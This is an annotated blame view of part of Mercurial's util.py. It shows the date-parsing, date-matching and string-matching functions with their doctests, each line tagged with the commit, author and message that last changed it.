util: avoid mutable default arguments
Siddharth Agarwal <sid0@fb.com>
parents:
26267
diff
changeset
|
2097 def parsedate(date, formats=None, bias=None): |
13212
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2098 """parse a localized date/time and return a (unixtime, offset) tuple. |
6139
989467e8e3a9
Fix bad behaviour when specifying an invalid date (issue700)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
6135
diff
changeset
|
2099 |
2522
85f796baab10
Allow the use of human readable dates (issue 251)
Jose M. Prieto <jmprieto@gmx.net>
parents:
2480
diff
changeset
|
2100 The date may be a "unixtime offset" string or in one of the specified |
6139
989467e8e3a9
Fix bad behaviour when specifying an invalid date (issue700)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
6135
diff
changeset
|
2101 formats. If the date already is a (unixtime, offset) tuple, it is returned. |
18537
ae60735e37d2
dates: support 'today' and 'yesterday' in parsedate (issue3764)
Paul Cavallaro <ptc@fb.com>
parents:
18326
diff
changeset
|
2102 |
34362
b76937fafe8a
py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents:
34361
diff
changeset
|
2103 >>> parsedate(b' today ') == parsedate( |
b76937fafe8a
py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents:
34361
diff
changeset
|
2104 ... datetime.date.today().strftime('%b %d').encode('ascii')) |
18537
ae60735e37d2
dates: support 'today' and 'yesterday' in parsedate (issue3764)
Paul Cavallaro <ptc@fb.com>
parents:
18326
diff
changeset
|
2105 True |
34362
b76937fafe8a
py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents:
34361
diff
changeset
|
2106 >>> parsedate(b'yesterday ') == parsedate( |
b76937fafe8a
py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents:
34361
diff
changeset
|
2107 ... (datetime.date.today() - datetime.timedelta(days=1) |
b76937fafe8a
py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents:
34361
diff
changeset
|
2108 ... ).strftime('%b %d').encode('ascii')) |
18537
ae60735e37d2
dates: support 'today' and 'yesterday' in parsedate (issue3764)
Paul Cavallaro <ptc@fb.com>
parents:
18326
diff
changeset
|
2109 True |
18614
b2586e2cc67a
parsedate: understand "now" as a shortcut for the current time
Augie Fackler <raf@durin42.com>
parents:
18603
diff
changeset
|
2110 >>> now, tz = makedate() |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2111 >>> strnow, strtz = parsedate(b'now') |
18614
b2586e2cc67a
parsedate: understand "now" as a shortcut for the current time
Augie Fackler <raf@durin42.com>
parents:
18603
diff
changeset
|
2112 >>> (strnow - now) < 1 |
b2586e2cc67a
parsedate: understand "now" as a shortcut for the current time
Augie Fackler <raf@durin42.com>
parents:
18603
diff
changeset
|
2113 True |
b2586e2cc67a
parsedate: understand "now" as a shortcut for the current time
Augie Fackler <raf@durin42.com>
parents:
18603
diff
changeset
|
2114 >>> tz == strtz |
b2586e2cc67a
parsedate: understand "now" as a shortcut for the current time
Augie Fackler <raf@durin42.com>
parents:
18603
diff
changeset
|
2115 True |
6139
989467e8e3a9
Fix bad behaviour when specifying an invalid date (issue700)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
6135
diff
changeset
|
2116 """ |
26311
60dd8e3977f0
util: avoid mutable default arguments
Siddharth Agarwal <sid0@fb.com>
parents:
26267
diff
changeset
|
2117 if bias is None: |
60dd8e3977f0
util: avoid mutable default arguments
Siddharth Agarwal <sid0@fb.com>
parents:
26267
diff
changeset
|
2118 bias = {} |
6139
989467e8e3a9
Fix bad behaviour when specifying an invalid date (issue700)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
6135
diff
changeset
|
2119 if not date: |
3807
e43b48f0f718
parsedate: allow '' for epoch
Matt Mackall <mpm@selenic.com>
parents:
3806
diff
changeset
|
2120 return 0, 0 |
6230
c7253d1a774e
dates: Fix bare times to be relative to "today"
Matt Mackall <mpm@selenic.com>
parents:
6229
diff
changeset
|
2121 if isinstance(date, tuple) and len(date) == 2: |
6139
989467e8e3a9
Fix bad behaviour when specifying an invalid date (issue700)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
6135
diff
changeset
|
2122 return date |
2609
6c5b1b5cc160
util.parsedate should understand dates from hg export
Chris Mason <mason@suse.com>
parents:
2601
diff
changeset
|
2123 if not formats: |
6c5b1b5cc160
util.parsedate should understand dates from hg export
Chris Mason <mason@suse.com>
parents:
2601
diff
changeset
|
2124 formats = defaultdateformats |
6139
989467e8e3a9
Fix bad behaviour when specifying an invalid date (issue700)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
6135
diff
changeset
|
2125 date = date.strip() |
18537
ae60735e37d2
dates: support 'today' and 'yesterday' in parsedate (issue3764)
Paul Cavallaro <ptc@fb.com>
parents:
18326
diff
changeset
|
2126 |
24188
5a7920c4d2ea
util: accept "now, today, yesterday" for dates even the locale is not english
André Klitzing <aklitzing@gmail.com>
parents:
24164
diff
changeset
|
2127 if date == 'now' or date == _('now'): |
18614
b2586e2cc67a
parsedate: understand "now" as a shortcut for the current time
Augie Fackler <raf@durin42.com>
parents:
18603
diff
changeset
|
2128 return makedate() |
24188
5a7920c4d2ea
util: accept "now, today, yesterday" for dates even the locale is not english
André Klitzing <aklitzing@gmail.com>
parents:
24164
diff
changeset
|
2129 if date == 'today' or date == _('today'): |
34362
b76937fafe8a
py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents:
34361
diff
changeset
|
2130 date = datetime.date.today().strftime(r'%b %d') |
b76937fafe8a
py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents:
34361
diff
changeset
|
2131 date = encoding.strtolocal(date) |
24188
5a7920c4d2ea
util: accept "now, today, yesterday" for dates even the locale is not english
André Klitzing <aklitzing@gmail.com>
parents:
24164
diff
changeset
|
2132 elif date == 'yesterday' or date == _('yesterday'): |
18537
ae60735e37d2
dates: support 'today' and 'yesterday' in parsedate (issue3764)
Paul Cavallaro <ptc@fb.com>
parents:
18326
diff
changeset
|
2133 date = (datetime.date.today() - |
34362
b76937fafe8a
py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents:
34361
diff
changeset
|
2134 datetime.timedelta(days=1)).strftime(r'%b %d') |
b76937fafe8a
py3: work around bytes/unicode divergence in parsedate()
Yuya Nishihara <yuya@tcha.org>
parents:
34361
diff
changeset
|
2135 date = encoding.strtolocal(date) |
18537
ae60735e37d2
dates: support 'today' and 'yesterday' in parsedate (issue3764)
Paul Cavallaro <ptc@fb.com>
parents:
18326
diff
changeset
|
2136 |
2522
85f796baab10
Allow the use of human readable dates (issue 251)
Jose M. Prieto <jmprieto@gmx.net>
parents:
2480
diff
changeset
|
2137 try: |
6139
989467e8e3a9
Fix bad behaviour when specifying an invalid date (issue700)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
6135
diff
changeset
|
2138 when, offset = map(int, date.split(' ')) |
2523
4ab59a3acd16
validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
2522
diff
changeset
|
2139 except ValueError: |
3812 | 2140 # fill out defaults |
2141 now = makedate() | |
13212
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2142 defaults = {} |
13200
6f011cf52f9a
avoid .split() in for loops and use tuples instead
David Soria Parra <dsp@php.net>
parents:
13197
diff
changeset
|
2143 for part in ("d", "mb", "yY", "HI", "M", "S"): |
13212
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2144 # this piece is for rounding the specific end of unknowns |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2145 b = bias.get(part) |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2146 if b is None: |
32153
6f173560c7f4
py3: slice over bytes to prevent getting ascii values
Pulkit Goyal <7895pulkit@gmail.com>
parents:
32123
diff
changeset
|
2147 if part[0:1] in "HMS": |
13212
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2148 b = "00" |
3812 | 2149 else: |
13212
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2150 b = "0" |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2151 |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2152 # this piece is for matching the generic end to today's date |
32153
6f173560c7f4
py3: slice over bytes to prevent getting ascii values
Pulkit Goyal <7895pulkit@gmail.com>
parents:
32123
diff
changeset
|
2153 n = datestr(now, "%" + part[0:1]) |
13212
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2154 |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2155 defaults[part] = (b, n) |
3812 | 2156 |
2523
4ab59a3acd16
validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
2522
diff
changeset
|
2157 for format in formats: |
4ab59a3acd16
validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
2522
diff
changeset
|
2158 try: |
6139
989467e8e3a9
Fix bad behaviour when specifying an invalid date (issue700)
Thomas Arendsen Hein <thomas@intevation.de>
parents:
6135
diff
changeset
|
2159 when, offset = strdate(date, format, defaults) |
6087
12856a1742dc
better handle errors with date parsing (issue983)
Dirkjan Ochtman <dirkjan@ochtman.nl>
parents:
5917
diff
changeset
|
2160 except (ValueError, OverflowError): |
2523
4ab59a3acd16
validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
2522
diff
changeset
|
2161 pass |
4ab59a3acd16
validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
2522
diff
changeset
|
2162 else: |
4ab59a3acd16
validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
2522
diff
changeset
|
2163 break |
4ab59a3acd16
validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
2522
diff
changeset
|
2164 else: |
32462
bb18728ea617
util: raise ParseError when parsing dates (BC)
Boris Feld <boris.feld@octobus.net>
parents:
32407
diff
changeset
|
2165 raise error.ParseError(_('invalid date: %r') % date) |
2523
4ab59a3acd16
validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
2522
diff
changeset
|
2166 # validate explicit (probably user-specified) date and |
4ab59a3acd16
validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
2522
diff
changeset
|
2167 # time zone offset. values must fit in signed 32 bits for |
4ab59a3acd16
validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
2522
diff
changeset
|
2168 # current 32-bit linux runtimes. timezones go from UTC-12 |
4ab59a3acd16
validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
2522
diff
changeset
|
2169 # to UTC+14 |
28864
b0811a9fe67c
date: fix boundary check of negative integer
Florent Gallaire <fgallaire@gmail.com>
parents:
28835
diff
changeset
|
2170 if when < -0x80000000 or when > 0x7fffffff: |
32462
bb18728ea617
util: raise ParseError when parsing dates (BC)
Boris Feld <boris.feld@octobus.net>
parents:
32407
diff
changeset
|
2171 raise error.ParseError(_('date exceeds 32 bits: %d') % when) |
2523
4ab59a3acd16
validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
2522
diff
changeset
|
2172 if offset < -50400 or offset > 43200: |
32462
bb18728ea617
util: raise ParseError when parsing dates (BC)
Boris Feld <boris.feld@octobus.net>
parents:
32407
diff
changeset
|
2173 raise error.ParseError(_('impossible time zone offset: %d') % offset) |
2523
4ab59a3acd16
validate the resulting date in parsedate
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents:
2522
diff
changeset
|
2174 return when, offset |
2522
85f796baab10
Allow the use of human readable dates (issue 251)
Jose M. Prieto <jmprieto@gmx.net>
parents:
2480
diff
changeset
|
2175 |
3812 | 2176 def matchdate(date): |
2177 """Return a function that matches a given date match specifier | |
2178 | |
2179 Formats include: | |
2180 | |
2181 '{date}' match a given date to the accuracy provided | |
2182 | |
2183 '<{date}' on or before a given date | |
2184 | |
2185 '>{date}' on or after a given date | |
2186 | |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2187 >>> p1 = parsedate(b"10:29:59") |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2188 >>> p2 = parsedate(b"10:30:00") |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2189 >>> p3 = parsedate(b"10:30:59") |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2190 >>> p4 = parsedate(b"10:31:00") |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2191 >>> p5 = parsedate(b"Sep 15 10:30:00 1999") |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2192 >>> f = matchdate(b"10:30") |
13212
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2193 >>> f(p1[0]) |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2194 False |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2195 >>> f(p2[0]) |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2196 True |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2197 >>> f(p3[0]) |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2198 True |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2199 >>> f(p4[0]) |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2200 False |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2201 >>> f(p5[0]) |
5d0a30fad7de
date: fix matching of underspecified date ranges
Matt Mackall <mpm@selenic.com>
parents:
13204
diff
changeset
|
2202 False |
3812 | 2203 """ |
2204 | |
2205 def lower(date): | |
20679
0916f829eb8d
util: move from dict() construction to {} literals
Augie Fackler <raf@durin42.com>
parents:
20542
diff
changeset
|
2206 d = {'mb': "1", 'd': "1"} |
6230
c7253d1a774e
dates: Fix bare times to be relative to "today"
Matt Mackall <mpm@selenic.com>
parents:
6229
diff
changeset
|
2207 return parsedate(date, extendeddateformats, d)[0] |
3812 | 2208 |
2209 def upper(date): | |
20679
0916f829eb8d
util: move from dict() construction to {} literals
Augie Fackler <raf@durin42.com>
parents:
20542
diff
changeset
|
2210 d = {'mb': "12", 'HI': "23", 'M': "59", 'S': "59"} |
13200
6f011cf52f9a
avoid .split() in for loops and use tuples instead
David Soria Parra <dsp@php.net>
parents:
13197
diff
changeset
|
2211 for days in ("31", "30", "29"): |
3812 | 2212 try: |
2213 d["d"] = days | |
2214 return parsedate(date, extendeddateformats, d)[0] | |
16688
cfb6682961b8
cleanup: replace naked excepts with more specific ones
Brodie Rao <brodie@sf.io>
parents:
16397
diff
changeset
|
2215 except Abort: |
3812 | 2216 pass |
2217 d["d"] = "28" | |
2218 return parsedate(date, extendeddateformats, d)[0] | |
2219 | |
7953
8c6f823efcc9
Correct a bug on date formats with '>' or '<' accompanied by space characters.
Justin Peng <justin.peng.sw@gmail.com>
parents:
7948
diff
changeset
|
2220 date = date.strip() |
13780
bc7b5d1c1999
util: dates cannot consist entirely of whitespace (issue2732)
Idan Kamara <idankk86@gmail.com>
parents:
13734
diff
changeset
|
2221 |
bc7b5d1c1999
util: dates cannot consist entirely of whitespace (issue2732)
Idan Kamara <idankk86@gmail.com>
parents:
13734
diff
changeset
|
2222 if not date: |
bc7b5d1c1999
util: dates cannot consist entirely of whitespace (issue2732)
Idan Kamara <idankk86@gmail.com>
parents:
13734
diff
changeset
|
2223 raise Abort(_("dates cannot consist entirely of whitespace")) |
bc7b5d1c1999
util: dates cannot consist entirely of whitespace (issue2732)
Idan Kamara <idankk86@gmail.com>
parents:
13734
diff
changeset
|
2224 elif date[0] == "<": |
13869
b470894c33f8
date: fixup breakage from ">" fix
Matt Mackall <mpm@selenic.com>
parents:
13867
diff
changeset
|
2225 if not date[1:]: |
13886
fe48c57390f2
help/dates: use DATE as place-holder in help and abort texts
Martin Geisler <mg@aragost.com>
parents:
13879
diff
changeset
|
2226 raise Abort(_("invalid day spec, use '<DATE'")) |
3812 | 2227 when = upper(date[1:]) |
2228 return lambda x: x <= when | |
2229 elif date[0] == ">": | |
13869
b470894c33f8
date: fixup breakage from ">" fix
Matt Mackall <mpm@selenic.com>
parents:
13867
diff
changeset
|
2230 if not date[1:]: |
13886
fe48c57390f2
help/dates: use DATE as place-holder in help and abort texts
Martin Geisler <mg@aragost.com>
parents:
13879
diff
changeset
|
2231 raise Abort(_("invalid day spec, use '>DATE'")) |
3812 | 2232 when = lower(date[1:]) |
2233 return lambda x: x >= when | |
2234 elif date[0] == "-": | |
2235 try: | |
2236 days = int(date[1:]) | |
2237 except ValueError: | |
2238 raise Abort(_("invalid day spec: %s") % date[1:]) | |
13889
9a96efc4af8a
util: make 'hg log -d --2' abort (issue2734)
Yun Lee <yunlee.bj@gmail.com>
parents:
13886
diff
changeset
|
2239 if days < 0: |
29977
73b1c328a7da
util: use single quotes in use warning
timeless <timeless@mozdev.org>
parents:
29889
diff
changeset
|
2240 raise Abort(_("%s must be nonnegative (see 'hg help dates')") |
13889
9a96efc4af8a
util: make 'hg log -d --2' abort (issue2734)
Yun Lee <yunlee.bj@gmail.com>
parents:
13886
diff
changeset
|
2241 % date[1:]) |
3812 | 2242 when = makedate()[0] - days * 3600 * 24 |
3813 | 2243 return lambda x: x >= when |
3812 | 2244 elif " to " in date: |
2245 a, b = date.split(" to ") | |
2246 start, stop = lower(a), upper(b) | |
2247 return lambda x: x >= start and x <= stop | |
2248 else: | |
2249 start, stop = lower(date), upper(date) | |
2250 return lambda x: x >= start and x <= stop | |
2251 | |
30773
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2252 def stringmatcher(pattern, casesensitive=True): |
26481
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2253 """ |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2254 accepts a string, possibly starting with 're:' or 'literal:' prefix. |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2255 returns the matcher name, pattern, and matcher function. |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2256 missing or unknown prefixes are treated as literal matches. |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2257 |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2258 helper for tests: |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2259 >>> def test(pattern, *tests): |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2260 ... kind, pattern, matcher = stringmatcher(pattern) |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2261 ... return (kind, pattern, [bool(matcher(t)) for t in tests]) |
30773
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2262 >>> def itest(pattern, *tests): |
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2263 ... kind, pattern, matcher = stringmatcher(pattern, casesensitive=False) |
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2264 ... return (kind, pattern, [bool(matcher(t)) for t in tests]) |
26481
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2265 |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2266 exact matching (no prefix): |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2267 >>> test(b'abcdefg', b'abc', b'def', b'abcdefg') |
26481
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2268 ('literal', 'abcdefg', [False, False, True]) |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2269 |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2270 regex matching ('re:' prefix) |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2271 >>> test(b're:a.+b', b'nomatch', b'fooadef', b'fooadefbar') |
26481
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2272 ('re', 'a.+b', [False, False, True]) |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2273 |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2274 force exact matches ('literal:' prefix) |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2275 >>> test(b'literal:re:foobar', b'foobar', b're:foobar') |
26481
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2276 ('literal', 're:foobar', [False, True]) |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2277 |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2278 unknown prefixes are ignored and treated as literals |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2279 >>> test(b'foo:bar', b'foo', b'bar', b'foo:bar') |
26481
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2280 ('literal', 'foo:bar', [False, False, True]) |
30773
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2281 |
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2282 case insensitive regex matches |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2283 >>> itest(b're:A.+b', b'nomatch', b'fooadef', b'fooadefBar') |
30773
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2284 ('re', 'A.+b', [False, False, True]) |
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2285 |
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2286 case insensitive literal matches |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
2287 >>> itest(b'ABCDEFG', b'abc', b'def', b'abcdefg') |
30773
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2288 ('literal', 'ABCDEFG', [False, False, True]) |
26481
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2289 """ |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2290 if pattern.startswith('re:'): |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2291 pattern = pattern[3:] |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2292 try: |
30773
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2293 flags = 0 |
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2294 if not casesensitive: |
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2295 flags = remod.I |
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2296 regex = remod.compile(pattern, flags) |
26481
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2297 except remod.error as e: |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2298 raise error.ParseError(_('invalid regular expression: %s') |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2299 % e) |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2300 return 're', pattern, regex.search |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2301 elif pattern.startswith('literal:'): |
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2302 pattern = pattern[8:] |
30773
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2303 |
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2304 match = pattern.__eq__ |
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2305 |
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2306 if not casesensitive: |
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2307 ipat = encoding.lower(pattern) |
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2308 match = lambda s: ipat == encoding.lower(s) |
c390b40fe1d7
util: teach stringmatcher to handle forced case insensitive matches
Matt Harbison <matt_harbison@yahoo.com>
parents:
30761
diff
changeset
|
2309 return 'literal', pattern, match |
26481
7d132557e44a
util: extract stringmatcher() from revset
Matt Harbison <matt_harbison@yahoo.com>
parents:
26480
diff
changeset
|
2310 |
1903
e4abeafd6eb1
move shortuser into util module.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
1635
diff
changeset
|
